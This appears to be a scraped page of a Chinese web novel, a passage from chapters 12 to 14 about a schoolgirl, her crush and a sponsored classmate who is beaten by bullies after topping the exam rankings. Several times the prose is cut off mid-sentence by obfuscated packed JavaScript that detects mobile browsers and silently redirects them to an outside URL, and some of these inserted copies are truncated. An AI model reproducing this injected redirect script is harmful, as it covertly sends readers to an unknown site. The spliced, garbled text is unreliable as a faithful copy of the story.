有几个青春期少女顶得住这种眼神啊，周序脸都要烧了起来：“那个于叔，我今天中午要回家午休，记得来接我。” “小姐放心，周总昨天就嘱咐过了，我记得。”于叔一脚油门下去，也不在拥挤的校门口逗留，很快就给后面的人和车让开了路。 电灯泡走了，周序理应是开心的。可现实却绝非如此，她就是一典型的叶公好龙，这会儿又不敢抬头和谢祁之对视了。 周序在心里默默把自己从头到脚唾弃了个遍。呸，有色心没色胆的家伙，一定得多练！ 对，就是得多练。硬是提了一口气，周序才抬起了自己那张明显红得不正常的脸蛋：“还不进去吗？” “你别硬撑啊。”谢祁之忍不住蹙眉，尽管他脸上写满了不赞成，但还是抓了一把巧克力塞到了周序滚烫的手掌心里，“进考场前要还是不舒服，就吃上一颗。” “不用这么多，你自己留着吃吧。”周序哪里会承认自己是被帅到发烧的呢，要不是实在怕耽误事，她现在都想表演一整套眩晕旋身加倒地的高难度动作。 要是能精准倒在谢祁之的怀里那才好呢。 “脸都红成这个样子了，还说自己没事。”谢祁之对周序的那些小九九一无所知，这会儿的他单纯得要命，“你能走吗？” 周序果断摇头，用手背贴在了自己的额前：“体温好像还行，就是腿有点软，像煮熟的面条一样。” 好夸张，她真的好夸张！可谢祁之就是心软到这么一点伎俩都看不穿。也不知道从前那些屡屡碰壁的小姐姐们是为什么没能再进一步呢？ 这明明，形势一片大好啊。 从校门口到考场的这一路上，周序俨然成了回头率最高的那个。有一些从初中就开始在桦城一中上学的学生见了都忍不住瞪大了双眼。 就是说啊，初中三年再加上这火热的高一新生入学小半学期，谢祁之他身边什么时候有过女同学了？而且还是他扶着人家，一步步地送到教室门口？ 简直闻所未闻，不，是骇人听闻！ 一天的考试下来，周序已经不知道收获了多少或羡慕或嫉妒的目光了。死了一天的脑细胞，好像都在这种暗爽里成倍地长了回来。 除了晚餐时，陈嘉禾黑着一张脸，不知道又在搞什么幺蛾子。 爸爸妈妈不觉得有什么，一个劲地往他碗里夹菜，可周序却只觉得怎么看怎么刺眼。向来都是她在家里闹别扭发脾气，然后大家就都跑过来哄的。 所以他陈嘉禾这是什么意思？把自己当皇太子了？ “喂！”周序把坚果咬得嘎吱作响，恨不得把坚果当成陈嘉禾的头，一口咬爆，“我没惹你吧？早上是你不坐车，可不是我拦着于叔不让带你的。现在拉着个脸给谁看呢。” “我没有。”陈嘉禾只用筷子夹戳着碗里的大米饭，“我只是身体不舒服。叔叔阿姨，我吃饱了。” “再吃点啊！这一口都没动呢。”裴佑月眨巴眨巴眼睛，一时间也忘了昨晚上过于放纵而带来的那点不自然。 “惯的他！剩饭让谁吃啊！”周序一边嘴上嫌弃，一边又觉得自己这话像极了刁难继女上瘾的恶毒后妈。 呵呵，恶毒后妈有时候还有管教子女的责任呢，她这样和陈嘉禾半毛钱关系都没有的舍友可没有任何义务：“嘁，他不吃我吃！” “你们，吵架了？”心思粗糙不堪的周思邈都看出了什么苗头。 “诶，可别乱给我安帽子。我今天从早到晚除了吃早饭和刚刚见过他那么两面，一整天都在考试好吧，自己抽风关我什么事。” “那你不是吵架生气？能吃下两碗？”裴佑月不信，指尖敲了敲桌面，一脸洞察人心的表情。 “什么跟什么啊。我纯粹是中午有点激动，没吃饭也没睡觉，现在太饿了而已。”人家也是个外表瘦弱的女孩子呢，怎么好意思张口说要吃两碗大米饭呢。 正好，陈嘉禾吃不下，有的是人肚子里空荡荡的呢。 周序都这么说了，当爸妈的周思邈和裴佑月也就没再多干涉。自己家女儿，他们自己最了解。 周序是被宠坏了没错，有时候不懂谦让，也不会换位思考，但她从来不会撒谎。两个孩子要是真爆发了什么冲突争吵，周序绝对不会不承认。 “一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812708|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿吃完饭，你看看嘉禾，问问他用不用去趟医院。”周思邈头也不抬地回着公司消息，家里家外的这堆事情一直以来都是他的随口安排。 好像家务事就从来和他没有关系一样。 那妈妈也是工作了一天啊，回来以后又是兼职保姆保洁的，现在还得去做人家的心理辅导师？ “妈妈你歇着吧，我去好了。”除了心疼自己的妈妈，周序还另有打算。没有了家长在身边管这管那，她刚好可以去问清楚陈嘉禾到底是几个意思。 桌上，摊开的卷子上只做了一道选择题，陈嘉禾握着中性笔迟迟没有下一步的动作。他不是做不出来，而是一再走神。 咚的一声轻响，因为过于短促，在陈嘉禾还没分清这一声究竟是不是敲门声的时候，周序就推门进来了。 仿佛看穿他的心思，周序挑了挑眉，毫不客气地将门关好：“我可是敲过门的，你也没有拒绝。” 不知怎么，只要是对上她，有理也要变得没理。那谢祁之呢，难道她在谢祁之面前也是这样娇纵得无法无天吗？ “姐姐是打算来教训我？可是成绩还没出来。” 陈嘉禾仍然记得，她要对他动用暴力的事情。可是死读书的书呆子永远不会多想一步，无论是在家庭里，还是在校园里，拳脚都不是解决问题的常规方式。 她要真是想打服别人，早就不知道进去接受过多少回教育了。 “你别在那儿阴阳怪气。我一直都是人不犯我，我不犯人，只要你不惹我，一切都好说。说清楚，今天饭桌上你眼睛不是眼睛，鼻子不是鼻子的，对我有意见？” 真有意思。早上吃饭的时候不见他板个脸，一到了一家人聚在一块的时候情绪就上来了。这不就是明晃晃地告诉爸妈，她周序私底下和这个身世可怜的大学霸不对付吗？ “是我自己的原因。今天在学校里遇到了一点，不开心的事。” 陈嘉禾这人是有点骨气在身上的。他决定了不说的事情，就是拿螺丝刀都翘不开他的嘴，再说周序自认为她也没有那么闲，自己的一亩三分地还没理出个所以然呢，哪有闲工夫管别人。 “反正你有困难和我爸说。是他资助你的，还接到家里来，也算半个监护人吧。诶！不过你可别和我说，我没那么大能耐能帮你。最多，当个传话的中间人吧。” 困难？如果说在新学校里遭人排挤，甚至是被个别老师为难，他们让他当众下不来台，这些事情算困难吗？ 陈嘉禾并不认为这些是什么困难。对于一个已经习惯的人来说，是不可能把这些屡见不鲜的事情当成什么难以克服的困难的。 “谢谢。”至少在这一刻，陈嘉禾的心里还是被暖了那么一下的。哪怕只是言语上的关心，也已经超过了绝大多数人的视而不见。 “从明天开始，无论是早上上学还是晚上放学，有事就报备，没事就一起坐于叔的车回来。”周序懒懒地打了个哈欠，中午欠下的瞌睡坚持到现在已经开始反扑了。 她也是实在没有心思再去探究陈嘉禾臭脸的原因，只在离开前又故意生气地瞪着人：“我最后再好声好气跟你说一次，你要是再不打招呼就擅自出门或者离校，我就跟爸妈说，于叔的车永远没你的位置。” 12. 朱砂痣6 关于陈嘉禾和谢祁之究竟谁能夺得年级第一桂冠的这件事，一度成为了周序心里的头等大事。 她一天恨不得要向班委打听八百回才行。可偏偏，桦城一中出个成绩能慢成龟速，磨得人都要没脾气了。 直到一周后的这天，排名终于公示在了教学楼外人来人往的小广场上。 “走啊，快去看看！”周序拉起还在座位上偷啃干脆面的赵南晴，抬腿就冲进了人流里。 干脆面碎渣漏了一裤子，又随着赵南晴起身的动作均匀地洒在板凳和地上，可赵南晴这会儿已经顾不上清理了。 她一路跟在周序后面，累得直喘粗气：“你，你怎么这么着急？年级第一的大学霸都没你上心！” “你没听说吗？实验班新转来的那个陈嘉禾据说以前在他们学校也是第一名。你难道不想看看究竟是外来的和尚香，还是本土的地头蛇能打？”说话间，周序已经停在了公告栏前，和先她一步到的学生一样，一个个又是往前挤，又是踮脚的。 不同的是，别人大多数会把注意力放在找寻自己的名字上，周序则是一脸的八卦。 “讲真，我其实不想知道。”赵南晴抠抠鼻子，又低头拍了拍身上残留的碎渣，“不管你说的这两个人到底是谁更牛吧，关咱们什么事啊？” “照理来说，是和我没有多大关系。”但这不是，话都说出去了。 况且周序是真的很想知道，这两个性格截然不同又都长得足以祸害一群小女生的家伙，到底谁会更胜一筹。 “我去，你看！” 周序踮脚踮得脚指头都要疼死了，刚想开口让前面挡路的两个男生让一让，就见其中一个大高个激动不已地捶着自己身边的同伴：“看见了没？” “看见了，我没瞎。” 旁边的男生比这个一惊一乍的足足矮了一个头，但有什么用，比周序高就行了，依然是把她的视野挡得死死的。 “那你怎么这么淡定？”高个男生直接戳破了同伴的敷衍了事，“你看清楚了，第一名陈嘉禾比谢祁之谢大学神高出了整整二十分！二十分！你知道那是什么概念吗？” “咕咚”，周序很明显地听到了咽口水的声音，只是发出这声音的源头不是别人，是她自己。 她是知道陈嘉禾一定在学习上很异于常人的，不然爸爸也不会把人带回到家里来。商人嘛，做人做事，总是会存点利用心思的。 周序只是不说，但并不代表她真的像外表表现出来的这样，对这个世界的认知天真到好像成了童话故事里的人。 周思邈把陈嘉禾带回来，是百分之一百的看中了人家的才气和学习成绩吗？难道就没有那么一点点，买股投资的想法？ 哼，周序噘了噘嘴，心里吃味起来。那陈嘉禾这么厉害，从此以后还不把她对比得更加一无是处？ “周序，你怎么了？看上去心情不好啊！”赵南晴撞了撞周序的肩膀，“我是真看不透你了，刚刚叫着喊着要来看成绩的是你，现在看见了，又垮着个脸！我看你排名，挺不错的啊！” 周序顺着赵南晴指尖的方向看去，在全年级中是中等偏上的排名。 虽然说在桦城一中这种重点高中能有这样的成绩，目前来看是还不错，但一来她走的是国际班的模式，将来真不一定会参加高考，二来自己那点小分分在人家陈嘉禾的面前，连被秒成渣的资格都没有。 就是两个字，颓废。 “也没什么，就是感觉和学霸，哦不，学神之间的差距也太太大了。”周序又陪着赵南晴看了她的成绩，两个人才手挽着手离开。 从小都没受过什么挫折，家里也一向以鼓励教育为主的周序，当然不会让自己太久地沉浸在这种消极的氛围里。 都不用旁人开导，她就已经想开了。毕竟，抛开她那点寒碜的成绩不看，那会儿在谢祁之面前说的大话算是间接保住了。 人嘛，总不能既要又要。先有办法吸引男神的注意才是现阶段的首要目标！ “诶？谢祁之！”周序隔着大老远就看到了走在前面的谢祁之，一时间什么汗颜啊，自己都觉得自己扶不上墙的各种情绪全忘到了脑后，她拉着赵南晴，两个人一路小跑，“好巧啊，你也来看成绩啊！” “嗯。”谢祁之的回应很淡，他只是站定，目光又从赵南晴游移到了周序的身上，很轻很轻地点了一下头。 如果不是从始至终，周序的注意力都刻意地放在了他的身上，都未必会注意到这么一个小动作。 当然了，这也不是什么大事，做人要成事总是要脸皮厚一点的嘛。可还没等周序继续建设好自己的内心，谢祁之就这么心事重重地走了！ 他甚至连个完整的词儿都没蹦出来！就一个单音节的嗯？ 如果换做刚认识谢祁之一天，因颜值而沦陷的小迷妹来，可能还会觉得这是一位高冷话少的男神。可周序知道，谢祁之这个人最懂礼貌最讲素质了，他几乎不会当面下人面子，这么冷淡的一声“嗯”，可想而知，心情应该是差到了极点。 鼓动陈嘉禾去争第一，是不是是一步糟到不能再糟的烂棋？ 周序不得不开始反思。让强者慕强这个思路的大方向应该是没问题的，但是如果慕强的对象太过优越，让前者有点难以望其项背的话，那可能确实会适得其反。 哎，可是覆水难收啊，做都做了，现在再后悔又有什么用呢？况且，二十分的差距，那根本不是旁人怂恿一下就能干出来的事儿！无论有没有她，人家陈嘉禾的实力就已经到那儿了！ 啧啧啧，看来谢祁之这么一朵高岭之花，想摘下来根本不是一朝一夕的事情。 “我们走吧！”周序的情绪来得快，去得也快，简直就跟失了忆一样。 赵南晴打量着周序的神情，终于还是没忍住问了出来：“谢祁之刚刚那么对你，你不生气？” “还好吧……”周序有点心虚，她总不能说这样的结果是她在背后给某人加油鼓劲来吧，只是最后的效果和威力忒强了而已。 两个人手挽着手不紧不慢地上了个厕所，也不回班，就在操场上找了块空地坐着。 “要不我们回去？就算下节是体育课，也难保不会有其他老师占课啊。”赵南晴左瞧瞧右看看，整张脸都写满了心虚。 “哎呀怕什么，体委他很热衷室外活动，都不用等打上课铃，一会儿就会有很多人下来。我们还费劲爬这楼干嘛？法不责众你没听过吗？” 大不了回头被某位老师占了课，她们再上去也不迟啊。反正懒啊，也是要见缝插针才能偷成的。 “周序，我发现你好像总有很多道理诶？” “那是！”周序不禁夸，如果她身后有尾巴，现在已经要翘到天上去了。 “但都是歪理邪说！” 得，高兴了还没一秒，又被赵南晴一句话给带沟里。 “干嘛？你不服？”周序伸长了手就要去挠赵南晴的咯吱窝。 两个女生一时没有形象地笑作一团。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812709|175318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你们说，那个陈嘉禾的分数是真实的吗？”到底还没打铃，操场上到处都是学生们的身影。追逐打闹的，聊天说笑的随处可见。 周序本来并没分出多少注意，可偏偏这话过于酸了，话题中提到的对象还是自己的熟人，于是硬生生地闯进了周序的耳朵里。 一般情况下，好像只有那些水平不相上下，差不多是一个档次的人群之间才会有这种嫉妒成风的现象。在绝对的实力面前，大家伙都是艳羡敬佩的居多，可没想到，当之无愧的第一名，也会有被质疑的一天。 周序听了，直在心里摇头。想替某人分辨几句吧，又觉得纯纯是脱裤子放屁，于是只不知不觉地翻了个白眼。 “周序，你眼睛进沙子了？要不我给你吹吹？” “啊？不是，不用……”赵南晴实在过于热情，说什么都要帮她仔细看看。周序又不能说自己是刚刚气不过下意识做了个不太友好的表情，那实在太有损形象，于是只好默认了。 视野受阻，但周序的耳朵还是把这些人的对话一字不落地全听了个遍。 好在总还是有脑子清楚的人：“那还能有假？那个陈嘉禾可是全年级第一！没人比他再分高了，能抄谁的啊！” “啧，你懂什么！梨梨就跟他们一个考场呢，说当时看见有人往陈嘉禾的脚底下扔纸团了！” “况且你们说，会不会是他抄的谢祁之啊，众所周知，谢祁之有点偏科，听说这次作文还写跑题了呢！” 那群女生七嘴八舌地越说越起劲，周序听到这里也算是听明白了。这不仅是一群酸鸡，还是明晃晃的谢祁之迷妹，她们多半这是接受不了自己男神偶尔一次的“跌下神坛”，所以一整个破大防了！ 尽管周序自己也是谢祁之的头号迷妹吧，可这并不代表就那么见不得别人好。 “谁看见的？”她就不明白了，承认别人优秀就有那么难吗？回头要是她们自己考了第一，也会任由别人在背后这么蛐蛐？ 周序的这一问很是突兀，直接把几名女生问得当场愣住，其中一人不由地指了指自己：“你在和我们说话吗？” “嗯。”周序在身后的空地上撑了一把这才站起来。 “我觉得这里面的逻辑不对。如果真有人亲眼看见了，他为什么不当场举报？事后诸葛亮，有意思又有意义吗？况且如果真是作弊，那给他传小纸条的人呢，怎么不见一样考高分？” 周序问的这两个问题，每一个都精准踩在对方理屈词穷的点上。那个声音最大的女生一下子就结巴了：“你，你和我叫这么大声干什么？那些话又不是我说的！” “说看见有人扔小纸条的原话不是你说的，可是你没有传吗？刚刚胡乱猜测年级第一抄袭年级第二的话，是我臆想出来的？” “雨欣，要不然还是算了吧。”说话的女生就是之前难得在这个小团体里发出不同声音的人，再结合目前的情况来看，果然是唯一一个拎得清的。 可是叫雨欣的女同学，估计是从来没有吃过这种瘪，瞪着周序气得胸脯起伏不定：“你哪个班的！再乱说，信不信我找人揍你啊！” “雨欣，这样不好吧！”这回，不光是先前的那个女生在拦她，就是其他人都明显皱了皱眉。 赵南晴也是很少见到这场面，悄悄拉了拉周序的袖子：“周序，你别说了！” “不用怕！我不主动惹事，但我绝不怕事！高一国际班周序，今天，哦不，从今天开始往后每一天，放学等你。” 13. 白月光7 周序这丝毫不怯场的表现的确很是唬人。刚刚还梗着个脖子，语气凶得恨不得当场就给人好看的李雨欣这会儿已经硬气不起来了。 唯独只有一双怒而无神的眼睛瞪了又瞪，要不是最后的上课铃声及时给她递了台阶，估计还要持续尴尬下去：“你给我等着！” “等你哦！”周序看着一群人着急忙慌地往教学楼跑的背影，实在没忍住笑出声来，“连迟到都不敢，还敢打人？真当别人是傻子。” 可赵南晴却不这么想，她一双圆溜溜的大眼睛里装满了担心：“周序你刚刚把名字都报出来了，万一她们真要对你做什么，还是校外……” “放心啦，她们连迟到都不敢，根本做不出来打人的事情。再说了，有句话怎么说的来着，哦对，会咬人的狗不叫。越是这么咋咋呼呼，才越没有打人的本事呢。” 周序压根就没有把这段小插曲放在心上，一天过去，照常上课上学。 “于叔！”晚自习放学后，周序和老于打了招呼，摘下书包往车座上一甩，这才发现车里少了个人，“陈嘉禾还没来吗？” 别看陈嘉禾在实验班，学习任务比普通班要重，总是避免不了老师们拖堂的问题，但几乎每一次都是他先到车里的。 像今天这情况，好像还是第一次出现。 “没有啊，或许他们班拖堂了吧。”老于没多想，将手搭在方向盘上，有一搭没一搭地往转角处张望着。 “那就等等他吧。”周序掏出手机，头也不抬地戳了起来。 每到上下学的高峰期，校门口的这条马路上就会挤满了车，老于来得早，不好意思占着道不挪位，所以每次都会在这个拐角处的小巷子停着车等人。 时间一分一秒地过去，由于位置问题又看不清校门口的状况，老于也没有了一开始的淡定：“小姐，要不我下去找找吧。” “好。”周序经这一提醒，也才注意到距离放学时间都过去了十几分钟，这对于一个守时守点的人来说，确实很不正常。 老于的背影走远，在夜色中逐渐看不真切，不知怎么，周序平稳的心跳声渐渐失了控，就连眼皮都突突地跳了起来。 不得不说，第六感这个东西有时候还是莫名挺准的。周序犹豫几下，彻底没了消磨时间的心情，边打开车门往下走，边给陈嘉禾拨去了电话。 “于叔，你等等我！” 看着周序一脸紧张兮兮小跑过来的样子，老于都不由地愣了一下：“小姐你这是？” “我怕是出什么事了。我们快分头去找，你在校门口问问保安和别的同学什么的，我在学校附近找找。”周序几句话就做出了安排，干脆利落，甚至都没给老于反应的时间。 直到老于人都站在了校门口，看着寥寥无几的学生，才忍不住在心里反驳起来：不对啊，不应该是自己去附近找人，让小姐在校门口等着更合理吗？ 但现实就是，人已经到位，说什么都没用了：“我问一下啊，高一实验班下课了吗？” 周序接连去了好几通电话，无一例外都是忙音。很好，这个陈嘉禾微信不回，语音不接，就连电话都打不通，最好不是故意不理人的。 “不然你就死定了。” 只是嘴上放着狠话，周序心里却很清楚，陈嘉禾绝对不是那种有个突发情况都不跟他们提前通个气的人。现在这样，一定是出什么事了。 周序立马按下语音按钮：“爸爸，今天学校放学以后，陈嘉禾人就联系不……” “问你呢！装什么哑巴！” “就是，平常在学校里不是很高傲吗？现在呢，还傲得起来吗？哈哈哈……” 伴随着这一声盖过一声的嘲笑奚落，是夹杂在其间的痛苦闷哼声。终于，周序杂乱无序的脚步得到了明确的指向。 陈嘉禾到底是怎么了，怎么就招惹上这么一帮不学好的学生，公然在学校门口就敢打人吗？她没有任何严明的逻辑可以证明自己的猜测是正确的，单只过于巧合的时间这一点，周序就几乎可以确定，陈嘉禾一定在里面。 陈嘉禾捂着肚子半天倒地不起，短袖样式的校服只有薄薄一层，裸/露在外的胳膊肘蹭在水泥地上已经沾了一层拍也拍不掉的沙砾，混合着不断渗出的血珠，即便是在昏暗的路灯灯光下，都有点惨不忍睹。 “你说话啊！装什么死！” 平头男生一脚踹在陈嘉禾的小腹上，顿时那股子撕裂的疼痛感再次席卷而来，陈嘉禾的眼前都跟着一度变得模糊不清。 吧嗒……一滴水滴在地面上，即便在人声嘈杂的四下里，也莫名地格外清晰。 陈嘉禾甚至看不清楚，那滴下去的东西究竟是他因疼痛脱力而落的汗水，还是哪里迸裂而流下的血水。 只是那些不怀好意的声音被一再放大，似乎和小时候的经历渐渐重叠在了一起。 “喂，装什么死！就你还能考得过我们谢哥？糊弄鬼呢！”平头男生恶狠狠地瞪着人，恨不得生吃了陈嘉禾一样，“脚下的鞋都不知道是多少年的旧鞋就敢穿出来丢人，你这校服里面，别不是打了补丁的衣服吧？” “诶！宽哥！你这话说得可真够难听的！” 陈嘉禾倒在湿泞冰凉的地上，无论这些人是如何自说自话，他却是连眼皮都懒懒地未曾再掀动半分。 果然，只听这人话锋一转，恶趣味的嘲笑更甚刚才：“这都什么年代了，谁家好人还穿带补丁的衣服啊！不过嘛，到底穿没穿，咱上去扒了他校服看看不就知道了！” 这些人，用的都是一贯的拙劣伎俩。红脸也好，白脸也罢，实则都只是为了羞辱他。知道在学习成绩上比不过他，于是就只能拿无法改变的家境一而再，再而三地说事。 陈嘉禾早就不会因为谁的某一句看似风向转变的言语而生出什么期待。他只是恨，自己怎么就轻信了罗自宽的话，否则也不会被他们诓骗到这偏僻的地方来。 他一个人在没有任何防备的情况下，就是再怎么样，也很难打过这一群人。 陈嘉禾闭上了双眼，面上不显，可握起的双拳却是不由地一紧再紧。 “宽哥，这人跟吃了哑药一样，没意思。咱们还打吗？” 罗自宽平时在校园里总是跟在谢祁之屁股后面谢哥长谢哥短的，没人会觉得好学生的周围会产出什么烂人。但实际上，罗自宽私底下却是染了这么一身恶臭习气。 他扭动着自己的手腕，嘴角勾起的弧度一再上挑：“打啊，怎么不打！都给我好好教训……” “草！”不知从哪儿飞过来的一块石头正中罗自宽的下巴，又猛又突然，疼得他眼角都流出了生理性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“周序！”陈嘉禾都不知道自己在这样的情况下是怎么做到跃起又扑过去，然后将人一把护在怀里的，但他能感知到掌中的那片温热。 真好，有了他这个人肉靠垫，最起码周序可以不用被动挨打了。 “咚咚咚！” 和陈嘉禾笨重又剧烈的心跳声一起响起的还有罗自宽的手机铃声，他那粗噶的嗓音兴奋地从他们二人身后传来：“喂，谢哥！” “谢祁之！我是周序！你快来救我们！”周序一直在盘算着怎么才能安全离开，她不是完全不怵，再多的靠山想要发挥作用也要时间。 以至于在听到罗自宽的手机铃声响起时，她就已经有了点准备。也是因为这样，这一嗓子是用尽全力在吼，连带着抱着她的陈嘉禾觉得自己整个人都在跟着发抖。 罗自宽几乎是很快就将手机捂住了，可他再快也是晚了一步，谢祁之将周序这使出了吃奶一般的力气喊出的求救声听得一清二楚。 罗自宽能清楚地意识到，这一回谢哥是真的生气了：“喂，谢哥，你，你听我解释啊。” “在哪儿。” “宽哥，我这只是替你教训一下那个姓陈的。” “我问，在哪儿。” 14. 朱砂痣7 罗自宽看着人高马大，又留着一看就很不好惹的寸头，没想到在对上谢祁之，甚至只是在隔着个手机屏幕的情况下，人都能跟被换了芯子似的。 周序手上的动作虽然是在扶陈嘉禾，可心思早就不自觉地飘远了。所以，这还是刚刚那个耀武扬威，打了陈嘉禾，又叫嚣着要给自己好看的那个混球吗？ 谢祁之是有多强的能力，才能让这几个不学好的坏学生真心实意地跟在他身后？平常看着谢祁之也是挺文弱的，没见有什么极强的运动天赋啊？ “周序？”陈嘉禾的胳膊一动就酸痛不已，整个人像是被勉强黏合在一块的劣质手工品，就是这样极度糟糕的状况下，他已经咬牙撑着拿手在周序面前晃了好几下了，“姐姐！” 真是迫不得已。不然他也不会在外面，尤其是这群刚刚还对着他拳打脚踢的家伙面前，喊出这么一个令人羞耻的称呼来。 “啊？怎么了？”周序终于回神，目光虽然呆滞，可是唇角的笑意一早暴露了她此刻的内心。 陈嘉禾并不知道周序是因为什么才能有这种藏也藏不住的笑容，但他很清楚，和他没关系。 不由地，陈嘉禾的情绪一再低落下去，恍惚间似乎回到了被这群人打翻在地，无论怎样坚持都站不起来的那一刻：“我们，现在能不能回家？” “你先等会儿，谢祁之马上就来！”周序给他投来一个半是安慰半是期待的眼神，不过她嘴上倒是说的好听，“咱们总得亲眼看看这群欺负你的坏人有什么下场，对吧？” 陈嘉禾苦涩一笑，喉头滚了好半天只发出了个嗯声，极轻极淡，周序应该没有听到。但听不听到的，应该也不重要了，毕竟她又一点都不在意。 “可我，好像快站不住了。” 说着话，比自己还要高一个头不止的男生脚下踉跄，眼看着就要歪倒在地上，周序眼疾手快，赶忙用肩膀把人一顶才没有让陈嘉禾再次和地面来个亲密接触：“你说说你也真是的，一个男生瘦的得跟个小鸡仔似的，你就不能锻炼锻炼，健健身？” “你喜欢有肌肉的男生？” “拜托，谁会喜欢竹节虫啊！当然，那个也不能是一拳能捣死人的肌肉男！嘶，不是，现在是说这些的时候吗？”周序皱着眉头，咬了咬牙才语带嫌弃地咕囔一声：“哎呀，走了走了，于叔的车就停在外面。” “我可告诉你啊，我撑不住你这么大个人，坚持坚持，要软要瘫也等上了车再说！” 周序总是这样，明明心里心软得一塌糊涂，是个心地很善良心思很单纯的人，可表现出来却好像真是一个被娇纵坏了的大小姐。这或许也算是一种色厉内荏吧？ 所以说，哪怕谢祁之真的很重要，也不会对一个分得清事情的轻重缓急的人产生什么影响。 陈嘉禾勾唇，没忍住低低地笑出了声。 “你笑什么，被打傻了？不是我泼你冷水，反正就你这鼻青脸肿的样子，等回了家准备好接受盘问吧。” 说起家，周序这才想起自己给周思邈发过去的那一段没头没尾的语音，于是她赶紧腾出一只手来划亮手机屏幕，果然见对话框里已经是满屏幕的未接显示。 最后一条是对方的文字消息：序序，你们在哪儿？ “爸爸，没事了，我和陈嘉禾这就回家。”看着自己发过去的绿底语音框，周序这颗心才算是彻底放了回去。 这一晚上，可真够兴师动众的：“看见没？你周叔叔还是很担心你的，看把他急成什么样了！” 陈嘉禾攥了攥校服裤缝，心里没来由地漏掉一拍，可面上却是一派云淡风轻又憋着笑的样子：“是吗？姐姐为什么光说别人，不说自己？” 细碎的月光洒向他们这里时，已经不知道在各个楼宇之间折了多少个弯，以至于眼前的事物总是很模糊。 但近在咫尺的人总是能看清的。 陈嘉禾的嘴角被打出了血，那张漂亮的脸蛋上也布满了大小不一的伤痕，可不知为何，这战损的样子竟莫名给他增添了点魅惑的气质。 尤其是那形状勾人的唇，沾染了未干黏湿的血，似乎比一些大牌口红的效果还要出彩。美中不足的是，没有专业的打光和服化团队，不然陈嘉禾这样子也跟美美出片的明星没什么两样了。 一切都很动人，像是踩在周序的xp上而设计出的艺术品，但就是很可惜。 这对于一个很吃对方颜，但又下定决心要和对方划清界限的颜狗来说，无异于是致命打击。 “我，我自己有什么好说的？”周序慌乱地别开视线，越想越觉得恼火，“人都亲自跑来找你了，还有什么不满意的！” “我不是这个意思……” “周序！”依旧是淡到昏暗朦胧的月色下，谢祁之出现在了巷子口，他像是一路跑来的，即便这会儿脚步停了下来，胸膛也还在急促起伏着。 少年人的发丝被夜风扬起一个个俏皮可爱的弧度，配合着他唇角如释重负的轻笑，那种松快即便是慢他一步的老于都能感受得到：“于叔，人没事。” “诶，我知道，我知道，今天还好有你啊，小谢同学！” 彼时谢祁之身后刚好有车子驶过，骤然亮起的车灯为他本就完美的身形镀上一层堪比特效拉满的光晕，周序看得两眼发直，连旁边人说了什么都没听到。 帅，也许并不是指一张权威的五官，也不是多么羡煞旁人的身材，或许有时候只是一种暧昧勾人的氛围，是一种恰到好处的感觉。 至少在这一刻，周序不得不为谢祁之的出现而感到有些莫名地热泪盈眶。 好奇怪啊，明明刚才那么紧张的局势下谢祁之人也没出现，甚至还是靠着她的先发制人，她和陈嘉禾才得以脱困的。 如果真要算功劳，这个首当其冲的功劳也该归在她自己身上才是。可周序就是很诡异地觉得谢祁之的出现有如神兵天降。 可能没出息的花痴，就是她这个样子吧。 在周序有一搭没一搭地胡思乱想的时候，谢祁之已经来到了他们二人的身前，他一向都懂得把握与人相处的分寸，以至于对谁都淡淡的，很礼貌，也很难以接近。 偏偏就是这样的谢祁之，眉眼之中此刻也会浸满化不开的厉色与后怕：“他们没对你做什么吧？” 周序感觉自己现在只是一个被天神眷顾又暗自生出钦慕的小女孩，不会说话，也表达不出来更多充沛的情感，于是只是一味地看着对方摇头。 “被打的是我，你好像问错对象了。”陈嘉禾直勾勾地盯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你知道，我说的不仅是成绩的事情。”错身而过的瞬间，陈嘉禾目不斜视地盯着前方，出口的话音虽然不高，却足以让旁人听得清清楚楚。 “我说的也不只是学习。还是那句话，你我之间不构成敌对关系。”谢祁之的身形只是微微一顿，继而头也不回地大步离开，“今天的事情是由我间接造成的，我会给你一个交代。” 这两个人，自以为自己很酷吗？到底在打什么哑谜？ “于叔，你快帮忙扶着他另一边。”周序对老于抬了抬下巴，两个人忙活着把陈嘉禾往停车的地方带，“也不知道陈嘉禾怎么得罪别人了，同班同学把他骗出来围着打，我刚去的时候，真是……惨不忍睹。” “小姐，嘉禾他……还是很要面子的吧？”老于很是头疼。明明不顾危险要救人的是周序，急着联系周总去搬救兵的也是她，可怎么偏要嘴上逞这个强呢。 “于叔，姐姐说得对，今天得亏她救了我，不然我全身上下真就没有一块好肉了。” “你这孩子，一遇到不对劲就想办法和我们说。小姐解决不了，还有于叔我，于叔我不行，那不是还有周总和裴总？”也得亏是陈嘉禾这孩子心大能容人，是个知恩图报的，不然啊，小姐这好心做了好事，还非要败在这张嘴上不可。 